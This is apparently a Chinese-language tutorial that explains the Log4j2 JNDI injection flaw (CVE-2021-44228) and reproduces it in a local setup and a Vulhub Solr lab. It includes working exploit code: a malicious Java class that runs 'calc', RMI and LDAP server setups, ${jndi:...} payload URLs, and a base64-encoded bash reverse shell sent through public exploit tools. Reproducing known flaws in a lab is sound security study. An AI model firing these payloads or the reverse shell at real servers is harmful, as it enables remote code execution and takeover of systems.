Apache Log4j2 是一个开源的 Java 日志记录工具。Log4j2 是 Log4j 的升级版本,其优异的性能被广泛的应用于各种常见的 Web 服务中。
Log4j2 在特定的版本中由于启用了 lookup 功能,导致存在 JNDI 漏洞。lookup 函数是用于在日志消息中替换变量的函数,是通过配置文件中的${}
语法调用的,例如:如果在日志消息中使用了${sys:my.property}
,那么 log4j2 将使用 lookup 函数从系统属性中查找名为 “my.property” 的属性值,并将其替换为实际值。
在某些情况下,攻击者可以通过构造带有 ${}
关键标识符的日志消息来触发 log4j2 的 lookup 函数,从而执行任意代码。
JNDI注入主要通过LDAP或RMI服务实现,两种利用方式类似。大致的流程就是程序通过 JNDI 的 LDAP 或 RMI 服务执行了 lookup 方法,执行远程 class 文件中的代码,成功利用此漏洞可以在目标服务器上执行任意代码。
JNDI即Java Naming and Directory Interface(JAVA命名和目录接口),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
简单粗暴理解:有一个类似于字典的数据源,你可以通过JNDI接口,传一个name进去,就能获取到对象了。
那不同的数据源肯定有不同的查找方式,所以JNDI也只是一个上层封装,在它下面也支持很多种具体的数据源。
JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
LDAP 即 Lightweight Directory Access Protocol(轻量级目录访问协议),目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好像Linux/Unix系统中的文件目录一样。简单的理解为:有一个类似于字典的数据源,你可以通过LDAP协议,传一个name进去,就能获取到数据。
攻击者可以通过构造特殊的LDAP请求,在请求中包含恶意的Java代码,当服务器接收到请求并解析时,恶意代码就会被执行。
RMI 即 Remote Method Invoke(远程方法调用),是Java中的一种远程调用机制,可以在不同的JVM之间实现Java对象之间的交互和通信。攻击者可以通过构造恶意的RMI请求,向受漏洞影响的服务器发送请求并执行恶意代码。(两种利用方式都差不多)
JDK 11.0.1、8u191、7u201、6u211 以上的版本中默认不支持LDAP协议,com.sun.jndi.ldap.object.trustURLCodebase
属性的默认值被调整为false。也就是默认不允许从远程服务器上加载 Reference 的工厂类!(设为true 可以在高版本jdk触发漏洞)
JDK 6u132、JDK 7u122、JDK 8u121 以上的版本中默认不支持RMI协议,com.sun.jndi.rmi.registry.trustURLCodebase/com.sun.jndi.cosnaming.trustURLCodebase
这两个属性默认为 false。也就是默认不允许从远程服务器上加载 Reference 的工厂类!
注意:在 jdk 8u221以上版本利用 RMI 需要把 com.sun.jndi.rmi.registry.trustURLCodebase 和 com.sun.jndi.ldap
.object.trustURLCodebase 设为true 可以在高版本jdk触发漏洞,(是不是感觉不对劲,原因看这篇文章:链接)
有了以上的基础,再来理解这个漏洞就很容易了。
假如某一个Java程序中,将浏览器的类型记录到了日志中:
StringuserAgent = request.getHeader("User-Agent");
logger.info(userAgent);
网络安全中有一个准则:不要信任用户输入的任何信息。这其中,User-Agent就属于外界输入的信息,而不是自己程序里定义出来的。只要是外界输入的,就有可能存在恶意的内容。
假如有人发来了一个HTTP请求,他的User-Agent是这样一个字符串:
${jndi:ldap://127.0.0.1/exploit}
接下来,log4j2将会对这行要输出的字符串进行解析。
首先,它发现了字符串中有 ${}
,知道这个里面包裹的内容是要单独处理的。
进一步解析,发现是JNDI扩展内容。
再进一步解析,发现了是LDAP协议,LDAP服务器在127.0.0.1,要查找的key是exploit。
最后,调用具体负责LDAP的模块去请求对应的数据。
如果只是请求普通的数据,那也没什么,但问题就出在还可以请求Java对象!
Java对象一般只存在于内存中,但也可以通过序列化的方式将其存储到文件中,或者通过网络传输。
如果是自己定义的序列化方式也还好,但更危险的在于:JNDI还支持一个叫命名引用(Naming References)的方式,可以通过远程下载一个class文件,然后下载后加载起来构建对象。
PS:有时候Java对象比较大,直接通过LDAP这些存储不方便,就整了个类似于二次跳转的意思,不直接返回对象内容,而是告诉你对象在哪个class里,让你去那里找。
注意,这里就是核心问题了:JNDI可以远程下载class文件来构建对象!!!
危险在哪里?
如果远程下载的URL指向的是一个黑客的服务器,并且下载的class文件里面藏有恶意代码,那不就完犊子了吗?
这就是鼎鼎大名的JNDI注入攻击!
注:此段引用这位大佬的文章:https://baijiahao.baidu.com/s?id=1718842142014280135&wfr=spider&for=pc
由于 RMI 服务实现比较简单,这里先使用 RMI 服务进行复现。
JDK版本:jdk1.8.0_241
首先创建 RMI 服务类,Rmiserver.java:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Rmiserver {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1234);
Reference reference = new Reference("Hello", "Hello", "http://127.0.0.1:80/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("obj", referenceWrapper);
}
}
编写漏洞利用类 Hello.java:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Hello implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("Hello");
Runtime.getRuntime().exec("calc");
return null;
}
}
功能是弹出 win 上的计算器,编写完执行代码:
javac Hello.java
得到 Hello.class 文件,把它放在黑客自己的服务器上(这里我就放在本地了),访问 Web 服务可以直接访问到。
使用的 Apache web服务。
然后新建 Maven 项目,编写 Log4j 类,Log4jTest.java:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTest {
public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//u121,java超过这个版本要设置参数
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");//u221,java超过这个版本要设置参数
Logger logger = LogManager.getLogger();
logger.error("${jndi:rmi://127.0.0.1:1234/obj}");
}
}
其中 pom.xml log4j的引用如下
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
先启动 RMI 服务,在执行Log4j Test
计算器弹出成功,本地复现完成!
JDK版本同上。
LDAP服务本地搭建比较麻烦,这里直接用 marshalsec 的 LDAP服务:项目链接。下载后需要自己编译,编译需要maven环境,进入到 marshalsec 文件夹输入如下命令:
mvn clean package -DskipTests
当查看到绿色的SUCCESS时,即成功编译。在 target 目录下使用编译好的jar包开启一个恶意的ldap服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:80/#Hello" 1234
其中 http://127.0.0.1:80/#Hello
是恶意 class 文件的访问地址,1234 即 ldap 服务的访问端口。(这里的 ldap 服务和恶意类都在本地搭建,实际这两个应该在攻击者服务器上)
恶意class文件和前面的 Hello 文件相同,漏洞类如下:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTest {
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");//超过8u191需要设置
Logger logger = LogManager.getLogger();
logger.error("${jndi:ldap://127.0.0.1:1234/Hello}");
}
}
运行 Log4jTest :
可以看到 ldap 接收到了请求并返回了恶意类。
这里使用 vuluhub 靶场的 docker 进行漏洞复现。
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1
vuluhub 靶场下载好后,首先进入 CVE-2021-44228 目录下
docker-compose up -d //靶场的编译和运行
docker ps //查看docker环境是否启动成功
环境开启后,访问8983端口即可查看到Apache Solr的后台页面:
这个靶场只支持 ldap 服务,所以只能用 ldap 来访问。
DNSlog测试:网站链接
在DNSlog平台请求一个dns域名:
访问下面 Payload 即可利用该漏洞。
http://192.168.50.131:8983/solr/admin/cores?action=${jndi:ldap://3iboge.dnslog.cn}
在DNS网站得到记录,说明存在 Log4j 漏洞!
也可以获取 java 版本信息,访问
http://192.168.50.131:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.rfk88l.dnslog.cn}
通过两种方式来复现。
方式一:
通过 JNDIExploit 工具来反弹shell(下载链接)下载完成后需要进行编译,进入文件目录后执行:
mvn clean package -DskipTests
在 target 目录中开启服务
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.50.1
注意:这里开启服务的 jdk 版本是 1.8 的,高版本的可能会运行不了。
构造如下命令:
http://192.168.50.131:8983/solr/admin/cores?action=${jndi:ldap://192.168.50.1:1389/Basic/ReverseShell/192.168.50.1/2333}
这里使用另一位大佬开发的EXP,下载链接 下载后不需要编译,在tools目录下通过下面命令使用:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的bash反弹shell命令" -A “监听的IP地址”
反弹 shell 需要先构造payload:
bash -i >& /dev/tcp/192.168.50.131/2333 0>&1
然后将这个 payload 进行base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjEzMS8yMzMzIDA+JjE=
调整成如下格式
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjEzMS8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.50.1
可以通过在线工具帮助生成命令,工具链接
执行上述命令
可以看到,根据 jdk 版本生成了 rmi 和 ldap 服务的不同利用代码。
先在 192.168.20.131 开启监听,然后根据靶场的版本是jdk1.8的,执行下面url:
http://192.168.50.131:8983/solr/admin/cores?action=${jndi:ldap://192.168.50.1:1389/bvqld7}